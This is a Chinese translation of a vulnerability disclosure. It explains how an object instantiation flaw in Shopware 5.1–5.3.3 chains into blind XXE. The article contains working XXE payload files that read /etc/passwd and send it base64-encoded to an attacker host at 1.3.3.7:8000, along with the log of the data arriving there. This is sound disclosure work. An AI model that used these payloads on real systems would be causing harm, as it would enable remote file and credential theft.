Shopware5.3.3:从PHP对象实例化到Blind XXE

Shopware是当前一款热门的电子商务软件,它基于PHP开发,并且还使用了类似Symfony 2、Doctrine以及Zend框架等多项技术。我们使用了RIPS静态代码分析器对Shopware的69万多行代码进行了检测,并在其中找到了安全漏洞。

整个代码分析过程花了大约4分钟,RIPS成功找到了两个安全漏洞:一个PHP对象实例化漏洞和一个SQL注入漏洞。我们已经将漏洞信息报告给了Shopware的开发团队,厂商现在已经在Shopware 5.3.4版本中修复了这些漏洞。在这篇文章中,我们将跟大家介绍漏洞的成因和分析结果,以及攻击者如何利用这些漏洞来获取远程服务器中的任意文件。

受影响版本

v5.1-v5.3.3版本的Shopware都会受到相关漏洞的影响。

攻击者能做什么?

攻击者如果能够成功利用这个对象实例化漏洞的话,攻击者将能够在PHP应用中对任意类的对象进行实例化。通过使用本文所介绍的XXE盲注攻击,攻击者将能够远程获取服务器中的任意文件,包括安装配置文件config.php或数据库凭证等等。

PHP对象实例化

接下来,我们将通过分析应用的输入流数据来对这个对象实例化漏洞进行详细的技术分析。除此之外,我们还会告诉大家如何结合XXE盲注攻击来利用这个漏洞。

RIPS在多个文件和类中找到了这个对象实例化漏洞,受影响的功能是Shopware后端的产品流预览功能。请大家先看看下面这段代码,Shopware_Controllers_Backend_ProductStream类的loadPreviewAction()方法需要接收用户参数sort。

Controllers/Backend/ProductStream.php


classShopware_Controllers_Backend_ProductStream extendsShopware_Controllers_Backend_Application

{

   public function loadPreviewAction()

    {

       ⋮

       $sorting = $this->Request()->getParam('sort');

       ⋮

       $streamRepo = $this->get('shopware_product_stream.repository');

       $streamRepo->unserialize($sorting);

       ⋮

    }

}

接下来,用户的输入会被转发给Shopware\Components\ProductStream\Repository的unserialize()方法。请注意,这不是一个PHP对象注入漏洞,而且这个方法也不是一个自定义的unserialize()方法。这个方法接下来又要调用Shopware\Components\LogawareReflectionHelper中的unserialize()方法。

Components/ProductStream/Repository.php


namespaceShopware\Components\ProductStream;

class Repository implementsRepositoryInterface

{

   public function unserialize($serializedConditions)

    {

       return $this->reflector->unserialize($serializedConditions,'Serialization error in Product stream');

    }

}

用户的输入通过第一个参数进行传递,并在一个foreach循环中处理完成。

Components/LogawareReflectionHelper.php


namespace Shopware\Components;

class LogawareReflectionHelper

{

   public function unserialize($serialized, $errorSource)

    {

       classes = [];

       foreach($serialized as $className => $arguments)

       {

           ⋮

           $classes[] =$this->reflector->createInstanceFromNamedArguments($className,$arguments);

           ⋮

       }

       return $classes;

    }

}

接下来,用户的所有输入信息($className)会被传递给createInstanceFromNamedArguments()方法。

Components/LogawareReflectionHelper.php


namespace Shopware\Components;

class ReflectionHelper

{

   public function createInstanceFromNamedArguments($className, $arguments)

    {

       $reflectionClass = new \ReflectionClass($className);

       ⋮

       $constructorParams =$reflectionClass->getConstructor()->getParameters();

       ⋮

       // Check if all required parameters are given in $arguments

       ⋮

       return $reflectionClass->newInstanceArgs($arguments);

    }

}

这里最关键的地方就在于代码会使用$className中指定的类型(ReflectionClass)来实例化对象,而调用newInstanceArgs()方法(使用$arguments中的用户输入数据)将允许我们指定构造器中的参数。ReflectionClass是反射API的一部分,该功能是从PHP 5中正式引入的。而在执行过程中,它可以允许我们访问所有可被访问的类。正如方法名所显示的那样,newInstanceArgs()方法可以使用给定参数来创建一个类的实例,因此我们就可以实例化任意对象了。

查看RIPS报告:【报告传送门

XXE盲注

攻击者可以控制发送给loadPreviewAction()方法的输入数据,并通过给定的参数来实例化任意对象。对于攻击者来说,通过选择指定参数利用一个对象实例化漏洞的难度跟利用一个对象注入漏洞是几乎一样的。不同的地方在于,当一个对象不可被序列化时,攻击者调用的并非是__wakeup()方法,而是__construct()方法。在对一个正如对象的生命周期进行分析之后,我们发现程序会调用如下所示的方法:

1. __construct()

2. __call() if method getName() notavailable. Else getName()

3. __destruct()

那么接下来,我们就要找出一个能够在运行时可访问的类,并且这个类还需要以一种不安全的方式实现了上面这几种方法。不幸的是,我们无法在Shopware的代码中找到这样的类。

但是,PHP的内置类是可以在运行时访问的,比如说SimpleXMLElement,我们就可以实例化这个类的对象。这个类是PHP SimpleXML的扩展,大多数PHP版本都有这个类。在实例化SimpleXMLElement的对象时,传递给构造器的数据是以XML格式进行解析的,而我们就可以利用这一点来进行XXE攻击了。SimpleXMLElement的构造器签名如下所示:

SimpleXMLElement::__construct ( string $data[, int $options = 0 [, bool $data_is_url = false [, string $ns = ""[, bool $is_prefix = false ]]]] )

请注意其中的第三个参数$data_is_url,它甚至可以给外部XML文件传递一个URL地址。下面给出的XML以及DTD样本显示了如何利用漏洞读取目标系统中的任意文件(需要Web服务器的高级权限才可访问的文件):

xxe.xml


<?xml version="1.0" ?>

<!DOCTYPE r [

<!ELEMENT r ANY >

<!ENTITY % sp SYSTEM"http://1.3.3.7:8000/xxe.dtd">

%sp;

%param1;

]>

<r>&exfil;</r>

xxe.dtd


 <!ENTITY % data SYSTEM"php://filter/convert.base64-encode/resource=/etc/passwd">

<!ENTITY % param1 "<!ENTITYexfil SYSTEM 'http://1.3.3.7:8000/?%data;'>">

首先,对象实例化漏洞可以被用来实例化一个SimpleXMLElement对象(使用特定参数)。为了激活实体替换以实现XXE攻击,参数$options必须被设置为LIBXML_NOENT。除此之外,参数$data_is_url需要被设置为true,并让$data指向攻击者xxe.xml文件。当注入的SimpleXMLElement对象开始解析XML文件时,它会读取目标文件系统中的/etc/passwd文件,并将其内容以base64编码格式发送至攻击者所控制的Web服务器。


1.2.3.4 - - [07/Nov/2017 13:55:54]"GET /xxe.xml HTTP/1.0" 200 -

1.2.3.4 - - [07/Nov/2017 13:55:54]"GET /xxe.dtd HTTP/1.0" 200 -

1.2.3.4 - - [07/Nov/2017 13:55:54]"GET /?cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmF....== HTTP/1.0" 200 -

最后,攻击者就可以通过浏览Web服务器的日志文件来获取目标内容了(需要进行base64解码)。

漏洞时间轴

2017/09/13:将漏洞信息上报给了Shopware的开发团队。

2017/09/14:与厂商协商漏洞披露时间。

2017/10/02:厂商已修复相关漏洞。

2017/10/24:厂商发布最新版本Shopware v5.3.4。 

* 参考来源:ripstech,FB小编Alpha_h4ck编译